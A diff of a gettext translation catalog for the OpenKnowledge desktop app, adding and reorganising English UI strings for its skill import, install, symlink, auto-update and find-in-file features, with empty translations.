#. placeholder {0}: row.count
#: src/components/acp/ThreadView.tsx
msgid "⋯ {0} unchanged lines"
@@ -725,6 +802,14 @@ msgstr ""
msgid "📝 or assets/icon.png"
msgstr ""
+#: src/components/ProseFindBar.tsx
+msgid "0/0"
+msgstr ""
+
+#: src/components/ImportSkillForm.tsx
+msgid "A .zip or .skill archive."
+msgstr ""
+
#: src/components/settings/markdownlint-rule-browser.tsx
msgid "A <0>Modified</0> badge marks rules your config sets explicitly — directly, or inherited through <1>extends</1>. Unmarked rules keep their default state."
msgstr ""
@@ -737,10 +822,27 @@ msgstr ""
msgid "A branch with that name already exists. Open its worktree from the switcher instead."
msgstr ""
+#: src/components/SkillInstallMenu.tsx
+msgid "A copy is a real folder of its own, and OK keeps it in step with the source: edit the skill here and every copy is refreshed. That stops the moment you hand-edit a copy outside OK — from then on it goes its own way and shows up as a separate skill."
+msgstr ""
+
+#: src/components/SkillInstallMenu.tsx
+msgid "A copy is a real folder of its own, and OK keeps it in step with the source: edit the skill here and every copy is refreshed. That stops the moment you hand-edit a copy outside OK — from then on it goes its own way and shows up as a separate skill. A symlink is a pointer to the source instead, so nothing can drift, but a location stops working if the source is deleted."
+msgstr ""
+
+#. placeholder {0}: path ?? label
+#: src/components/SkillInstallMenu.tsx
+msgid "A DIFFERENT skill named like this one lives at {0} — that folder is not this skill. Rename or delete one of the two to resolve."
+msgstr ""
+
#: src/components/SyncStatusBadge.tsx
msgid "A document has a conflict — resolve it to keep it up to date."
msgstr ""
+#: src/components/ImportSkillForm.tsx
+msgid "A folder containing SKILL.md."
+msgstr ""
+
#: src/components/CreateProjectDialog.tsx
msgid "A folder named <0>{sanitized}</0> already has files here. Pick a different name."
msgstr ""
@@ -774,6 +876,14 @@ msgstr ""
msgid "A non-empty folder already exists at this path. Pick a different folder."
msgstr ""
+#: src/components/settings/SkillTargetsPicker.tsx
+msgid "A parent directory is the symlink — unlink that folder itself to take this one back."
+msgstr ""
+
+#: src/components/SkillFileCreateDialog.tsx
+msgid "A path inside the skill — any folder works (e.g. references/notes.md). Folders in the path are created for you."
+msgstr ""
+
#: src/components/settings/LintingSection.tsx
msgid "A personal color-theme picker — not shared with your project. When on, it appears under Plugins in the sidebar."
msgstr ""
@@ -782,6 +892,10 @@ msgstr ""
msgid "A picture of the app from just before you opened this. It isn't redacted, so check the preview and uncheck it if anything shouldn't be shared."
msgstr ""
+#: src/components/empty-state/CreatePromptComposer.tsx
+msgid "A PR reviewer, a release-notes writer, a deploy checklist..."
+msgstr ""
+
#: src/components/CreateProjectDialog.tsx
msgid "A project already exists at this location. Pick a different parent folder."
msgstr ""
@@ -814,12 +928,16 @@ msgstr ""
msgid "A simple place to write, with one file per topic and a daily journal. Pick this if you just want to start writing and let the links between notes build up over time."
msgstr ""
+#: src/components/NewSkillDialog.tsx
+msgid "A skill named \"{trimmed}\" already exists here"
+msgstr ""
+
#: src/components/SkillRenameDialog.tsx
msgid "A skill with that name already exists."
msgstr ""
-#: src/components/NewSkillDialog.tsx
-msgid "A skill with this name already exists."
+#: src/components/SkillInstallMenu.tsx
+msgid "A symlink is a pointer to the source folder rather than a folder of its own. Every location reads the exact same bytes, so nothing can drift, and a location stops working if the source is deleted."
msgstr ""
#: src/components/empty-state/CreatePromptComposer.tsx
@@ -846,6 +964,10 @@ msgstr ""
msgid "Above"
msgstr ""
+#: src/components/settings/SkillTargetsPicker.tsx
+msgid "absent"
+msgstr ""
+
#: src/components/settings/CustomThemeEditor.tsx
msgid "Accent"
msgstr ""
@@ -863,12 +985,6 @@ msgstr ""
msgid "Account"
msgstr ""
-#. placeholder {0}: skill.name
-#: src/components/SkillRow.tsx
-#: src/components/SkillsSidebarSection.tsx
-msgid "Actions for {0}"
-msgstr ""
-
#: src/components/TemplateRow.tsx
msgid "Actions for {label}"
msgstr ""
@@ -957,6 +1073,10 @@ msgstr ""
msgid "Add cursors or select matching occurrences through CodeMirror."
msgstr ""
+#: src/components/settings/SkillTargetsPicker.tsx
+msgid "Add custom path"
+msgstr ""
+
#: src/components/settings/frontmatter-schema-field-editor.tsx
msgid "Add description"
msgstr ""
@@ -993,7 +1113,8 @@ msgstr ""
msgid "Add pattern"
msgstr ""
-#: src/components/EditorToolbar.tsx
+#: src/components/AddPropertiesButton.tsx
+#: src/components/SkillToolbarControls.tsx
msgid "Add properties"
msgstr ""
@@ -1006,6 +1127,10 @@ msgstr ""
msgid "Add property to {keyName}"
msgstr ""
+#: src/components/ImportSkillDialog.tsx
+msgid "Add skill"
+msgstr ""
+
#: src/editor/components/Tabs.tsx
msgid "Add tab"
msgstr ""
@@ -1037,6 +1162,10 @@ msgstr ""
msgid "Add value"
msgstr ""
+#: src/components/SkillDirectoryResult.tsx
+msgid "Added"
+msgstr ""
+
#. Subtext for the open-knowledge-write-skill skill row
#. Subtext for the open-knowledge-write-skill skill row
#: src/components/McpConsentDialogBody.tsx
@@ -1063,6 +1192,11 @@ msgstr ""
msgid "Adds the OpenKnowledge skill to the <0>Claude Desktop App</0> so it's available in Chat and Cowork sessions."
msgstr ""
+#. placeholder {0}: subs.map(hostLabel).join(', ')
+#: src/components/SkillInstallMenu.tsx
+msgid "Adds the skill to {rootRel} — also read by {0}"
+msgstr ""
+
#: src/editor/components/PropPanel.tsx
msgid "Advanced"
msgstr ""
@@ -1100,6 +1234,10 @@ msgstr ""
msgid "Agent Skills"
msgstr ""
+#: src/components/ExploreSkills.tsx
+msgid "Agents"
+msgstr ""
+
#: src/components/settings/AiToolsSection.tsx
msgid "AI tool management is only available in the OpenKnowledge desktop app."
msgstr ""
@@ -1114,6 +1252,14 @@ msgstr ""
msgid "AI tools & CLI"
msgstr ""
+#: src/components/SkillForkDialog.tsx
+msgid "Aligned {editor} to the source (its bytes are backed up)"
+msgstr ""
+
+#: src/components/SkillInstallMenu.tsx
+msgid "All"
+msgstr ""
+
#: src/components/FolderOverview.tsx
msgid "All files"
msgstr ""
@@ -1154,6 +1300,10 @@ msgstr ""
msgid "Already have a git repository? Add it with <0>git remote add origin <url></0> in this project's folder. This page updates automatically once a remote is detected."
msgstr ""
+#: src/components/SkillPluginBundleDialog.tsx
+msgid "Already installed — nothing new to import."
+msgstr ""
+
#: src/components/GraphPanel.tsx
msgid "Already open"
msgstr ""
@@ -1196,6 +1346,10 @@ msgstr ""
msgid "any doc named {0}"
msgstr ""
+#: src/components/ImportSkillForm.tsx
+msgid "Any scripts are shown for review, never run."
+msgstr ""
+
#: src/components/PublishToGitHubDialog.tsx
msgid "Anyone can see"
msgstr ""
@@ -1233,7 +1387,7 @@ msgid "Applies to (globs — leading ! excludes; empty means every doc)"
msgstr ""
#: src/components/settings/TerminalSection.tsx
-msgid "Applies to all projects on this machine. Claude and Codex, started from the built-in terminal, auto-approve OpenKnowledge's read and write tools (Claude also auto-runs \"ok open\"). Deleting, moving, sharing, installing skills, other commands, and non-OpenKnowledge file edits still ask. Cursor, OpenCode, and Pi are unaffected. Best-effort per agent."
+msgid "Applies to all projects on this machine. Claude and Codex, started from the built-in terminal, auto-approve OpenKnowledge's read and write tools (Claude also auto-runs \"ok open\"). Deleting, moving, sharing, importing or installing skills, other commands, and non-OpenKnowledge file edits still ask. Cursor, OpenCode, and Pi are unaffected. Best-effort per agent."
msgstr ""
#: src/editor/bubble-menu/LinkEditPopover.tsx
@@ -1405,6 +1559,26 @@ msgstr ""
msgid "Auto-sync periodically fetches, pulls, and pushes commits to your remote git repository so your edits stay in sync across machines."
msgstr ""
+#: src/components/SkillOriginInline.tsx
+msgid "Auto-update"
+msgstr ""
+
+#: src/components/SkillOriginInline.tsx
+msgid "Auto-update from source"
+msgstr ""
+
+#: src/components/SkillOriginInline.tsx
+msgid "Auto-update is off — use Update to pull new versions"
+msgstr ""
+
+#: src/hooks/use-skill-origin.ts
+msgid "Auto-update off for \"{name}\""
+msgstr ""
+
+#: src/hooks/use-skill-origin.ts
+msgid "Auto-update on for \"{name}\""
+msgstr ""
+
#. Section label for the automatic, one-click install path
#: src/components/InstallInClaudeDesktopDialog.tsx
msgid "Automatic"
@@ -1414,8 +1588,8 @@ msgstr ""
msgid "Available"
msgstr ""
-#: src/components/settings/SkillsManagerSection.tsx
-msgid "Available in every project on this computer."
+#: src/lib/skill-scope.ts
+msgid "Available in every project on this machine. Not shared through git."
msgstr ""
#: src/components/settings/SharingSection.tsx
@@ -1427,6 +1601,7 @@ msgstr ""
#: src/components/NavigationHistoryControls.tsx
#: src/components/ReportBugDialogBody.tsx
#: src/components/SeedDialog.tsx
+#: src/components/SkillForkDialog.tsx
#: src/lib/keyboard-shortcuts.ts
msgid "Back"
msgstr ""
@@ -1574,10 +1749,22 @@ msgstr ""
msgid "Browse"
msgstr ""
+#: src/components/SkillsBasePage.tsx
+msgid "Browse all"
+msgstr ""
+
#: src/components/share-receive-miss-content.tsx
msgid "Browse folder"
msgstr ""
+#: src/components/ImportSkillDialog.tsx
+msgid "Browse or upload a skill for this project."
+msgstr ""
+
+#: src/components/SkillsBasePage.tsx
+msgid "Browse skills.sh"
+msgstr ""
+
#: src/components/CloneDialog.tsx
msgid "Browse your repos:"
msgstr ""
@@ -1616,6 +1803,10 @@ msgstr ""
msgid "Building <0>openknowledge.skill</0> and opening the Claude Desktop App"
msgstr ""
+#: src/components/SkillsSidebarSection.tsx
+msgid "Built-in (read-only)"
+msgstr ""
+
#: src/lib/keyboard-shortcuts.ts
msgid "Bullet list"
msgstr ""
@@ -1628,6 +1819,10 @@ msgstr ""
msgid "By meaning"
msgstr ""
+#: src/components/SkillDirectoryResult.tsx
+msgid "By OpenKnowledge"
+msgstr ""
+
#: src/components/CommandPalette.tsx
msgid "By tag"
msgstr ""
@@ -1658,6 +1853,7 @@ msgstr ""
#: src/components/DeleteConfirmationDialog.tsx
#: src/components/EnableSyncConfirmDialog.tsx
#: src/components/FrontmatterRow.tsx
+#: src/components/ImportSkillForm.tsx
#: src/components/InstallInClaudeDesktopDialog.tsx
#: src/components/MountStalledAffordance.tsx
#: src/components/NewItemDialog.tsx
@@ -1671,8 +1867,11 @@ msgstr ""
#: src/components/settings/SearchSection.tsx
#: src/components/ShareBranchSwitchDialog.tsx
#: src/components/ShareReceiveDialog.tsx
+#: src/components/SkillFileCreateDialog.tsx
+#: src/components/SkillFileRenameDialog.tsx
+#: src/components/SkillPluginBundleDialog.tsx
#: src/components/SkillRenameDialog.tsx
-#: src/components/SkillUpdateDialog.tsx
+#: src/components/SkillScopeMoveDialog.tsx
#: src/components/TimelineDiffPane.tsx
#: src/components/TimelinePanel.tsx
#: src/components/TrashFailureModal.tsx
@@ -1703,6 +1902,14 @@ msgstr ""
msgid "Change the embeddings provider?"
msgstr ""
+#: src/components/ChangedOutsideBadge.tsx
+msgid "changed outside"
+msgstr ""
+
+#: src/components/SkillInstallMenu.tsx
+msgid "Changed outside OK since it last wrote here — the state shown is what's on disk now"
+msgstr ""
+
#: src/components/command-palette-commands.ts
msgid "Check for updates"
msgstr ""
@@ -1733,6 +1940,10 @@ msgstr ""
msgid "Checked by: {0}"
msgstr ""
+#: src/components/SkillEditorActions.tsx
+msgid "Checking"
+msgstr ""
+
#: src/comments/CommentQueuePanel.tsx
#: src/components/BottomComposer.tsx
msgid "Checking for agents"
@@ -1759,6 +1970,10 @@ msgstr ""
msgid "Checking sign-in status"
msgstr ""
+#: src/components/ImportSkillForm.tsx
+msgid "Checking source"
+msgstr ""
+
#: src/components/settings/AccountSection.tsx
msgid "Checking your GitHub connection"
msgstr ""
@@ -1771,11 +1986,27 @@ msgstr ""
msgid "Checklist with checkboxes."
msgstr ""
+#: src/components/ImportSkillForm.tsx
+msgid "Choose a skill archive"
+msgstr ""
+
+#: src/components/ImportSkillForm.tsx
+msgid "Choose a skill folder"
+msgstr ""
+
#: src/components/BottomComposer.tsx
#: src/components/empty-state/CreatePromptComposer.tsx
msgid "Choose agent"
msgstr ""
+#: src/components/ImportSkillForm.tsx
+msgid "Choose file"
+msgstr ""
+
+#: src/components/ImportSkillForm.tsx
+msgid "Choose folder"
+msgstr ""
+
#: src/components/TerminalNewChatButton.tsx
msgid "Choose what a new session starts"
msgstr ""
@@ -1792,10 +2023,6 @@ msgstr ""
msgid "Choose which agents appear in the agent selector. Turn one off to hide it everywhere."
msgstr ""
-#: src/components/settings/SkillTargetsPicker.tsx
-msgid "Choose which editors every skill in this project installs into."
-msgstr ""
-
#: src/components/handoff/AgentSplitButton.tsx
msgid "Claude"
msgstr ""
@@ -1822,6 +2049,7 @@ msgstr ""
#: src/comments/CommentQueuePanel.tsx
#: src/components/settings/SearchSection.tsx
+#: src/components/SkillPluginBundleDialog.tsx
msgid "Clear"
msgstr ""
@@ -1853,6 +2081,10 @@ msgstr ""
msgid "Click an agent's avatar in the presence bar to view their session."
msgstr ""
+#: src/components/SkillInstallMenu.tsx
+msgid "Click to install in {label}"
+msgstr ""
+
#: src/components/CloneDialog.tsx
msgid "Clone"
msgstr ""
@@ -1945,6 +2177,7 @@ msgstr ""
msgid "Close diff"
msgstr ""
+#: src/components/ProseFindBar.tsx
#: src/editor/find-replace/FindReplaceBar.tsx
msgid "Close find"
msgstr ""
@@ -2058,6 +2291,10 @@ msgstr ""
msgid "Command palette"
msgstr ""
+#: src/components/SkillPluginBundleBanner.tsx
+msgid "commands"
+msgstr ""
+
#: src/components/CommandPalette.tsx
msgid "Commands"
msgstr ""
@@ -2168,6 +2405,10 @@ msgstr ""
msgid "Configure user, project, and integration settings."
msgstr ""
+#: src/components/SkillInstallMenu.tsx
+msgid "conflict"
+msgstr ""
+
#: src/components/SyncStatusBadge.tsx
msgid "Conflict"
msgstr ""
@@ -2325,6 +2566,14 @@ msgstr ""
msgid "Convert (delete original)"
msgstr ""
+#: src/components/SkillInstallMenu.tsx
+msgid "Convert locations to copies"
+msgstr ""
+
+#: src/components/SkillInstallMenu.tsx
+msgid "Convert locations to symlinks"
+msgstr ""
+
#: src/editor/bubble-menu/FootnoteBubbleButton.tsx
msgid "Convert selection to footnote"
msgstr ""
@@ -2365,6 +2614,19 @@ msgstr ""
msgid "Copied!"
msgstr ""
+#. placeholder {0}: r.display
+#: src/components/SkillInstallMenu.tsx
+msgid "Copies the skill to {0}"
+msgstr ""
+
+#: src/components/SkillInstallMenu.tsx
+msgid "Copies the skill to {path}"
+msgstr ""
+
+#: src/components/SkillInstallMenu.tsx
+msgid "copy"
+msgstr ""
+
#: src/components/AppMenubar.tsx
#: src/components/CopyButton.tsx
#: src/components/empty-state/CopyablePromptList.tsx
@@ -2435,6 +2697,10 @@ msgstr ""
msgid "Copy the focused file-tree item so Paste can duplicate it."
msgstr ""
+#: src/components/SkillPreviewTab.tsx
+msgid "Copying"
+msgstr ""
+
#: src/components/PublishToGitHubDialog.tsx
msgid "Copying..."
msgstr ""
@@ -2609,7 +2875,12 @@ msgid "Couldn't copy. Select the URL above to copy it manually."
msgstr ""
#. placeholder {0}: result.error
-#: src/components/NewSkillDialog.tsx
+#: src/components/SkillFileCreateDialog.tsx
+msgid "Couldn't create {trimmed}: {0}"
+msgstr ""
+
+#. placeholder {0}: result.error
+#: src/hooks/use-create-blank-skill.ts
msgid "Couldn't create skill: {0}"
msgstr ""
@@ -2652,11 +2923,27 @@ msgstr ""
msgid "Couldn't finish installing {0} — see below."
msgstr ""
+#. placeholder {0}: projected.error
+#: src/components/SkillPluginBundleDialog.tsx
+msgid "Couldn't install {skillName}: {0}"
+msgstr ""
+
+#. placeholder {0}: plugin ?? source
+#. placeholder {1}: result.error
+#: src/components/SkillPluginBundleDialog.tsx
+msgid "Couldn't install from {0}: {1}"
+msgstr ""
+
#. placeholder {0}: result.error
#: src/components/skill-actions.tsx
msgid "Couldn't install skill: {0}"
msgstr ""
+#. placeholder {0}: result.error
+#: src/hooks/use-explore-preview-install.ts
+msgid "Couldn't install: {0}"
+msgstr ""
+
#: src/components/ViewerStatusPane.tsx
msgid "Couldn't load {fileName}"
msgstr ""
@@ -2673,10 +2960,6 @@ msgstr ""
msgid "Couldn't load document"
msgstr ""
-#: src/components/SkillsSidebarSection.tsx
-msgid "Couldn't load files"
-msgstr ""
-
#: src/components/PackCardGrid.tsx
msgid "Couldn't load starter packs: {error}"
msgstr ""
@@ -2685,8 +2968,8 @@ msgstr ""
msgid "Couldn't load templates"
msgstr ""
-#: src/components/SkillsSidebarSection.tsx
-msgid "Couldn't load this skill's files."
+#: src/components/SkillForkDialog.tsx
+msgid "Couldn't load the version preview. You can still choose how to resolve it below."
msgstr ""
#: src/components/BugReportHistory.tsx
@@ -2694,7 +2977,7 @@ msgid "Couldn't load your bug reports."
msgstr ""
#. placeholder {0}: result.error
-#: src/components/ManagedArtifactProperties.tsx
+#: src/hooks/use-move-skill-scope.ts
msgid "Couldn't move skill: {0}"
msgstr ""
@@ -2702,6 +2985,22 @@ msgstr ""
msgid "Couldn't move to Trash"
msgstr ""
+#: src/hooks/use-open-skill.ts
+msgid "Couldn't open \"{name}\" — it isn't in the project's skills yet."
+msgstr ""
+
+#. placeholder {0}: err instanceof Error ? err.message : String(err)
+#. placeholder {0}: res.error
+#: src/hooks/use-open-skill.ts
+msgid "Couldn't open \"{name}\": {0}"
+msgstr ""
+
+#. placeholder {0}: s.name
+#. placeholder {1}: r.error
+#: src/components/SkillsSidebarSection.tsx
+msgid "Couldn't open {0} for editing: {1}"
+msgstr ""
+
#: src/components/RecentProjectsMenu.tsx
msgid "Couldn't open a worktree for that branch."
msgstr ""
@@ -2781,13 +3080,8 @@ msgstr ""
#. placeholder {0}: skill.name
#. placeholder {1}: result.error
-#: src/components/SkillRenameDialog.tsx
-msgid "Couldn't rename \"{0}\": {1}"
-msgstr ""
-
-#. placeholder {0}: result.error
#: src/components/ManagedArtifactProperties.tsx
-msgid "Couldn't rename skill: {0}"
+msgid "Couldn't rename \"{0}\": {1}"
msgstr ""
#. placeholder {0}: result.error
@@ -2807,6 +3101,11 @@ msgstr ""
msgid "Couldn't resolve the conflict for {filePath}."
msgstr ""
+#. placeholder {0}: result.error
+#: src/components/SkillForkDialog.tsx
+msgid "Couldn't resolve the fork: {0}"
+msgstr ""
+
#: src/lib/restart-collab-server.ts
msgid "Couldn't restart the server — another process owns it. Quit other OpenKnowledge windows for this project, then try again."
msgstr ""
@@ -2840,6 +3139,11 @@ msgstr ""
msgid "Couldn't save that edit."
msgstr ""
+#. placeholder {0}: result.error
+#: src/hooks/use-skill-origin.ts
+msgid "Couldn't save the auto-update setting: {0}"
+msgstr ""
+
#: src/components/settings/SearchSection.tsx
msgid "Couldn't save the key — please try again."
msgstr ""
@@ -2884,19 +3188,9 @@ msgstr ""
msgid "Couldn't start the sync. Check your connection, then retry."
msgstr ""
-#. placeholder {0}: result.error
-#: src/components/skill-actions.tsx
-msgid "Couldn't uninstall skill: {0}"
-msgstr ""
-
-#. placeholder {0}: err instanceof Error ? err.message : String(err)
-#: src/components/settings/SkillTargetsPicker.tsx
-msgid "Couldn't update skill targets: {0}"
-msgstr ""
-
-#. placeholder {0}: result.error
-#: src/components/SkillUpdateDialog.tsx
-msgid "Couldn't update skill: {0}"
+#. placeholder {0}: r.error
+#: src/components/SkillInstallMenu.tsx
+msgid "Couldn't update {subRoot}: {0}"
msgstr ""
#: src/components/settings/SharingSection.tsx
@@ -2922,7 +3216,9 @@ msgstr ""
#: src/components/CreateProjectDialog.tsx
#: src/components/empty-state/CreatePromptComposer.tsx
#: src/components/NewItemDialog.tsx
+#: src/components/NewSkillDialog.tsx
#: src/components/settings/LintingSection.tsx
+#: src/components/SkillFileCreateDialog.tsx
#: src/components/TemplateRow.tsx
msgid "Create"
msgstr ""
@@ -2961,6 +3257,18 @@ msgstr ""
msgid "Create a new spec file for my user story"
msgstr ""
+#: src/components/NewSkillDialog.tsx
+msgid "Create a personal skill, available across every project."
+msgstr ""
+
+#: src/components/NewSkillDialog.tsx
+msgid "Create a skill for this project."
+msgstr ""
+
+#: src/components/SkillsBasePage.tsx
+msgid "Create a skill."
+msgstr ""
+
#: src/components/AuthModal.tsx
msgid "Create a token on {host}"
msgstr ""
@@ -2997,10 +3305,6 @@ msgstr ""
msgid "Create report"
msgstr ""
-#: src/components/NewSkillDialog.tsx
-msgid "Create skill"
-msgstr ""
-
#: src/components/empty-state/empty-state-copy.ts
msgid "Create something great."
msgstr ""
@@ -3041,6 +3345,11 @@ msgstr ""
msgid "Create your first project"
msgstr ""
+#. placeholder {0}: result.path
+#: src/components/SkillFileCreateDialog.tsx
+msgid "Created {0}"
+msgstr ""
+
#: src/components/ProblemsPanel.tsx
msgid "Created {target}"
msgstr ""
@@ -3053,11 +3362,16 @@ msgstr ""
msgid "created template"
msgstr ""
+#: src/components/SkillFileCreateDialog.tsx
+msgid "Creates the <0>{folderPart}/</0> folder"
+msgstr ""
+
#: src/components/CreateProjectDialog.tsx
#: src/components/NewItemDialog.tsx
#: src/components/NewSkillDialog.tsx
#: src/components/NewTemplateDialog.tsx
#: src/components/ProblemsPanel.tsx
+#: src/components/SkillFileCreateDialog.tsx
msgid "Creating"
msgstr ""
@@ -3115,6 +3429,10 @@ msgstr ""
msgid "Dark"
msgstr ""
+#: src/components/ExploreSkills.tsx
+msgid "Data"
+msgstr ""
+
#: src/components/PropertyWidgets.tsx
msgid "Date"
msgstr ""
@@ -3242,6 +3560,14 @@ msgstr ""
msgid "Describe the project you want to create"
msgstr ""
+#: src/components/empty-state/CreatePromptComposer.tsx
+msgid "Describe the skill you want to create"
+msgstr ""
+
+#: src/components/SkillsBasePage.tsx
+msgid "Describe what it should do, or add one yourself. OpenKnowledge keeps your skills in one place, versions them, and installs them into agents like Claude, Codex, and Cursor."
+msgstr ""
+
#: src/components/empty-state/empty-state-copy.ts
msgid "Describe what you want to build, start a blank file, or scaffold from a template."
msgstr ""
@@ -3254,6 +3580,7 @@ msgstr ""
msgid "Describe what you're working on and the agent sets it up for you."
msgstr ""
+#: src/components/SkillBundlePreview.tsx
#: src/components/TemplateProperties.tsx
msgid "description"
msgstr ""
@@ -3271,6 +3598,10 @@ msgstr ""
msgid "Description for {field}"
msgstr ""
+#: src/components/ExploreSkills.tsx
+msgid "Design"
+msgstr ""
+
#: src/components/empty-state/CreatePromptComposer.tsx
#: src/components/handoff/AgentSplitButton.tsx
#: src/components/handoff/OpenInAgentContextSubmenu.tsx
@@ -3296,8 +3627,9 @@ msgstr ""
msgid "Details about the error you just hit are included. Secrets like API keys and tokens are redacted automatically."
msgstr ""
-#: src/components/settings/SkillTargetsPicker.tsx
-msgid "Detected from the editors this project is set up for. Adjust to control where every skill installs."
+#. placeholder {0}: d.sourceHarnesses.map((h) => skillHostRootDir(h, scope)).join(', ')
+#: src/components/SkillsSidebarSection.tsx
+msgid "Detected in {0}"
msgstr ""
#: src/components/settings/AiToolsSection.tsx
@@ -3321,6 +3653,10 @@ msgstr ""
msgid "Dev instance: {label} (isolated from other worktrees)"
msgstr ""
+#: src/components/ExploreSkills.tsx
+msgid "DevOps"
+msgstr ""
+
#: src/components/MermaidFileViewer.tsx
msgid "Diagram"
msgstr ""
@@ -3343,6 +3679,10 @@ msgstr ""
msgid "Diff unavailable"
msgstr ""
+#: src/components/SkillInstallMenu.tsx
+msgid "Different version here — click to compare and resolve"
+msgstr ""
+
#. placeholder {0}: plugin.label
#. placeholder {0}: rule.name
#: src/components/settings/LintingSection.tsx
@@ -3370,6 +3710,10 @@ msgstr ""
msgid "Disambiguates similarly-named templates in the menu."
msgstr ""
+#: src/components/SkillOriginInline.tsx
+msgid "Discard local edits, restore the installed version"
+msgstr ""
+
#: src/comments/CommentSelectionAffordance.tsx
msgid "Discard this comment"
msgstr ""
@@ -3415,6 +3759,7 @@ msgstr ""
msgid "Dock sessions on the right"
msgstr ""
+#: src/components/ExploreSkills.tsx
#: src/components/HelpPopover.tsx
msgid "Docs"
msgstr ""
@@ -3524,11 +3869,6 @@ msgstr ""
msgid "Downloads a fresh copy from GitHub."
msgstr ""
-#: src/components/SkillEditorActions.tsx
-#: src/components/SkillStateBadge.tsx
-msgid "Draft"
-msgstr ""
-
#: src/components/empty-state/use-create-suggestions.ts
msgid "Draft a spec"
msgstr ""
@@ -3612,7 +3952,7 @@ msgstr ""
#: src/components/AppMenubar.tsx
#: src/components/settings/LintingSection.tsx
-#: src/components/skill-actions.tsx
+#: src/components/SkillsSidebarSection.tsx
#: src/components/TemplateForm.tsx
#: src/components/TemplateRow.tsx
#: src/editor/extensions/InternalLinkPropPanel.tsx
@@ -3629,6 +3969,10 @@ msgstr ""
msgid "Edit {keyName}"
msgstr ""
+#: src/components/SkillPreviewTab.tsx
+msgid "Edit a copy"
+msgstr ""
+
#: src/components/settings/rule-option-field.tsx
msgid "Edit in config file"
msgstr ""
@@ -3673,6 +4017,10 @@ msgstr ""
msgid "Edited {editedAgo}"
msgstr ""
+#: src/components/SkillOriginInline.tsx
+msgid "Edited locally since it was installed"
+msgstr ""
+
#: src/components/FolderTimelineCard.tsx
msgid "edited template"
msgstr ""
@@ -3681,6 +4029,10 @@ msgstr ""
msgid "editing [[{realCurrentDoc}]]"
msgstr ""
+#: src/components/SkillEditBanner.tsx
+msgid "Editing {boldName} in place. Changes save straight to your editor's copy."
+msgstr ""
+
#: src/editor/extensions/RawMdxFallbackCMView.tsx
msgid "Editing broken MDX source: {reason}"
msgstr ""
@@ -3701,10 +4053,6 @@ msgstr ""
msgid "Editor status bar"
msgstr ""
-#: src/components/settings/SkillTargetsPicker.tsx
-msgid "Editors to install skills into"
-msgstr ""
-
#: src/components/settings/CustomThemeEditor.tsx
msgid "Edits apply live. Light or dark is chosen from the background."
msgstr ""
@@ -3773,6 +4121,7 @@ msgid "empty"
msgstr ""
#: src/components/PropertyWidgets.tsx
+#: src/components/SkillBundlePreview.tsx
msgid "Empty"
msgstr ""
@@ -3976,9 +4325,14 @@ msgid "Explain how your codebase works so teammates and AI agents can find their
msgstr ""
#: src/components/GraphPanel.tsx
+#: src/components/ImportSkillDialog.tsx
msgid "Explore"
msgstr ""
+#: src/components/SkillsSidebarSection.tsx
+msgid "Explore skills"
+msgstr ""
+
#: src/editor/extensions/InternalLinkPropPanel.tsx
msgid "External link"
msgstr ""
@@ -4153,12 +4507,7 @@ msgstr ""
#. placeholder {0}: state.message
#: src/components/settings/SkillTargetsPicker.tsx
-msgid "Failed to load skill targets: {0}"
-msgstr ""
-
-#. placeholder {0}: state.message
-#: src/components/settings/SkillsManagerSection.tsx
-msgid "Failed to load skills: {0}"
+msgid "Failed to load skill settings: {0}"
msgstr ""
#: src/components/CommandPalette.tsx
@@ -4396,6 +4745,7 @@ msgid "Filename"
msgstr ""
#: src/components/FileSidebar.tsx
+#: src/components/FilesSkillsToggle.tsx
msgid "Files"
msgstr ""
@@ -4411,6 +4761,7 @@ msgstr ""
msgid "Filter languages"
msgstr ""
+#: src/components/ProseFindBar.tsx
#: src/editor/find-replace/FindReplaceBar.tsx
#: src/lib/keyboard-shortcuts.ts
msgid "Find"
@@ -4424,6 +4775,10 @@ msgstr ""
msgid "Find field navigation"
msgstr ""
+#: src/components/ProseFindBar.tsx
+msgid "Find in file"
+msgstr ""
+
#: src/lib/keyboard-shortcuts.ts
msgid "Find next match"
msgstr ""
@@ -4496,6 +4851,7 @@ msgstr ""
msgid "folder"
msgstr ""
+#: src/components/ImportSkillForm.tsx
#: src/components/settings/AttachmentsSection.tsx
#: src/components/share-metadata-rows.tsx
#: src/editor/composer-mention/ComposerMentionMenu.tsx
@@ -4527,6 +4883,7 @@ msgstr ""
#: src/components/settings/AiToolsSection.tsx
#: src/components/settings/ProjectAiToolsSection.tsx
+#: src/components/settings/SkillTargetsPicker.tsx
msgid "Folders"
msgstr ""
@@ -4603,14 +4960,28 @@ msgstr ""
msgid "Found {countDisplay} markdown files"
msgstr ""
+#. placeholder {0}: discovered[0].name
+#: src/components/ImportSkillForm.tsx
+msgid "Found one skill: {0}"
+msgstr ""
+
#: src/components/ShareReceiveDialog.tsx
msgid "Found the repo but could not open the project. Please try again."
msgstr ""
+#: src/hooks/use-skill-origin.ts
+msgid "From {harnessLabel}"
+msgstr ""
+
#: src/components/empty-state/CreateView.tsx
msgid "From template"
msgstr ""
+#. placeholder {0}: pluginMatch[1]
+#: src/hooks/use-skill-origin.ts
+msgid "From the {0} plugin"
+msgstr ""
+
#: src/components/TemplateForm.tsx
msgid "Frontmatter every document created from this template starts with. Values are YAML — a list is <0>[a, b]</0>; <1>{{date}}</1> fills in on create."
msgstr ""
@@ -4665,6 +5036,10 @@ msgstr ""
msgid "Get set up"
msgstr ""
+#: src/components/ExploreSkills.tsx
+msgid "Git & PRs"
+msgstr ""
+
#: src/components/ShareFreshnessWarning.tsx
msgid "Git can't track this folder — it's empty or contains only ignored files. The link won't work until you add a tracked document."
msgstr ""
@@ -4698,6 +5073,10 @@ msgstr ""
msgid "GitHub sign-in is missing or expired. Reconnect to resume syncing."
msgstr ""
+#: src/components/ImportSkillForm.tsx
+msgid "GitHub, a git URL, or a local path."
+msgstr ""
+
#: src/components/settings/AiToolsSection.tsx
msgid "Give the AI tools you use access to read and update your projects. Checking a box sets it up right away; unchecking removes it."
msgstr ""
@@ -4719,10 +5098,6 @@ msgstr ""
msgid "Global outside text fields"
msgstr ""
-#: src/lib/skill-scope.ts
-msgid "Global Skill"
-msgstr ""
-
#: src/components/DocumentErrorBoundary.tsx
#: src/components/LargeFileEditorState.tsx
msgid "Go back"
@@ -4960,6 +5335,10 @@ msgstr ""
msgid "Home page and navigation hub."
msgstr ""
+#: src/components/SkillPluginBundleBanner.tsx
+msgid "hooks"
+msgstr ""
+
#: src/editor/slash-command/component-items.tsx
msgid "Horizontal pill strip + active panel below; click a pill to switch panels."
msgstr ""
@@ -5048,7 +5427,7 @@ msgstr ""
msgid "Ignore patterns (raw text)"
